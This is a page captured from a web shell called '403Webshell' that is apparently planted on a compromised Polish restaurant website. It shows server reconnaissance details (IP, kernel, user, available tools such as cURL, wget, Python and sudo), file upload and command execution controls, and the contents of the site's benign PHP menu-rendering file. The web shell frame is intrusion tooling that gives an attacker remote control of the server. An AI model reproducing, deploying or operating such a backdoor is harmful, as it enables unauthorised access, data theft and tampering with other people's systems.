403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/includes/polana_v15_menu.php
<?php
declare(strict_types=1);
/** POLANA V15 - language-consistent menu renderer. No translation on public GET requests. */

function p15_menu_lang(): string {
    $path=(string)(parse_url((string)($_SERVER['REQUEST_URI']??'/'),PHP_URL_PATH)?:'/');
    if(preg_match('~^/(en|de|es)(?:/|$)~',$path,$m))return $m[1];
    $fromGet=strtolower((string)($_GET['lang']??''));
    if(in_array($fromGet,['pl','en','de','es'],true))return $fromGet;
    if(function_exists('p11_lang')) {
        $l=p11_lang();if(in_array($l,['pl','en','de','es'],true))return $l;
    }
    if(function_exists('polana_lang')) {
        $l=polana_lang();if(in_array($l,['pl','en','de','es'],true))return $l;
    }
    return 'pl';
}
function p15_menu_type(string $type): string {return in_array($type,['food','soft','wine'],true)?$type:'food';}
function p15_menu_type_label(string $type): string {
    $labels=[
      'pl'=>['food'=>'Dania','soft'=>'Napoje bezalkoholowe','wine'=>'Wina'],
      'en'=>['food'=>'Food','soft'=>'Soft drinks','wine'=>'Wines'],
      'de'=>['food'=>'Speisen','soft'=>'Alkoholfreie Getränke','wine'=>'Weine'],
      'es'=>['food'=>'Platos','soft'=>'Bebidas sin alcohol','wine'=>'Vinos'],
    ];
    return $labels[p15_menu_lang()][p15_menu_type($type)];
}
function p15_menu_url(string $route,string $kind='food'):string {
    $lang=p15_menu_lang();$kind=p15_menu_type($kind);
    if($lang!=='pl' && $route==='/alergeny')$route='/allergens';
    $path=($lang==='pl'?'':'/'.$lang).$route;
    return $path.'?kind='.rawurlencode($kind).'&lang='.rawurlencode($lang);
}
function p15_menu_text(array $record,string $field):string {
    $base=trim((string)($record[$field]??''));
    $lang=p15_menu_lang();if($lang==='pl')return $base;
    $value=trim((string)($record[$field.'_'.$lang]??''));
    // Never silently substitute EN for DE/ES. Until review, fallback to the actual Polish original.
    return $value!==''?$value:$base;
}
function p15_menu_complete(array $categories,?string $language=null):bool {
    $lang=$language??p15_menu_lang();if($lang==='pl')return true;
    if(!in_array($lang,['en','de','es'],true))return false;
    if(!$categories)return false;
    $hasItems=false;
    foreach($categories as $cat){
        if(empty($cat['items']))continue;
        $hasItems=true;
        if(trim((string)($cat['name_'.$lang]??''))==='')return false;
        foreach($cat['items'] as $item){
            if(trim((string)($item['name_'.$lang]??''))==='')return false;
            foreach(['description','allergens'] as $field){
                if(trim((string)($item[$field]??''))!=='' && trim((string)($item[$field.'_'.$lang]??''))==='')return false;
            }
        }
    }
    return $hasItems;
}
function p15_active_menu(string $kind='food'): ?array {
    $kind=p15_menu_type($kind);$today=date('Y-m-d');
    $stmt=db()->prepare("SELECT * FROM menus WHERE menu_type=? AND status='published'
       AND (valid_from IS NULL OR valid_from<=?) AND (valid_to IS NULL OR valid_to>=?)
       ORDER BY COALESCE(valid_from,'1900-01-01') DESC,id DESC LIMIT 1");
    $stmt->execute([$kind,$today,$today]);
    $record=$stmt->fetch(PDO::FETCH_ASSOC);
    // Same-kind fallback only; never display wine as food, or drinks as wine.
    if($record)return $record;
    $stmt=db()->prepare("SELECT * FROM menus WHERE menu_type=? AND status='published'
         ORDER BY id DESC LIMIT 1");
    $stmt->execute([$kind]);
    return $stmt->fetch(PDO::FETCH_ASSOC)?:null;
}
function p15_menu_tabs(string $currentType='food',string $base='/menu'):void {
    $type=p15_menu_type($currentType);
    echo '<nav class="p15-menu-tabs" aria-label="'.htmlspecialchars(p15_menu_ui('Menu restauracji'),ENT_QUOTES,'UTF-8').'" style="display:flex;justify-content:center;flex-wrap:wrap;gap:9px;margin:15px auto 18px">';
    foreach(['food','soft','wine'] as $kind){
        $url=p15_menu_url($base,$kind);
        $current=$kind===$type;
        echo '<a href="'.htmlspecialchars($url,ENT_QUOTES,'UTF-8').'"'
         .($current?' aria-current="page"':'')
         .' style="padding:9px 13px;border-radius:22px;border:1px solid #a5a5a5;background:'.($current?'#9acd32':'#fff').';color:#111;font-weight:650;text-decoration:none">'
         .htmlspecialchars(p15_menu_type_label($kind),ENT_QUOTES,'UTF-8').'</a>';
    }
    echo '</nav>';
}
function p15_menu_ui(string $pl):string {
    $dict=[
      'Aktualna karta'=>['en'=>'Current menu','de'=>'Aktuelle Speisekarte','es'=>'Carta actual'],
      'Pokaż menu'=>['en'=>'View menu','de'=>'Speisekarte anzeigen','es'=>'Ver carta'],
      'Składniki i alergeny'=>['en'=>'Ingredients and allergens','de'=>'Zutaten und Allergene','es'=>'Ingredientes y alérgenos'],
      'Wersja tekstowa menu'=>['en'=>'Text version of the menu','de'=>'Speisekarte als Text','es'=>'Carta en texto'],
      'Drukuj / zapisz PDF'=>['en'=>'Print / save PDF','de'=>'Drucken / als PDF speichern','es'=>'Imprimir / guardar PDF'],
      'Menu restauracji'=>['en'=>'Restaurant menu','de'=>'Speisekarte','es'=>'Carta del restaurante'],
      'Zamknij'=>['en'=>'Close','de'=>'Schließen','es'=>'Cerrar'],
      'Wróć do menu'=>['en'=>'Back to menu','de'=>'Zurück zur Speisekarte','es'=>'Volver a la carta'],
      'Składniki:'=>['en'=>'Ingredients:','de'=>'Zutaten:','es'=>'Ingredientes:'],
      'Alergeny:'=>['en'=>'Allergens:','de'=>'Allergene:','es'=>'Alérgenos:'],
      'Karta w przygotowaniu'=>['en'=>'Menu coming soon','de'=>'Speisekarte in Vorbereitung','es'=>'Carta en preparación'],
    ];
    $lang=p15_menu_lang();return $dict[$pl][$lang]??$pl;
}

Youez - 2016 - github.com/yon3zu
LinuXploit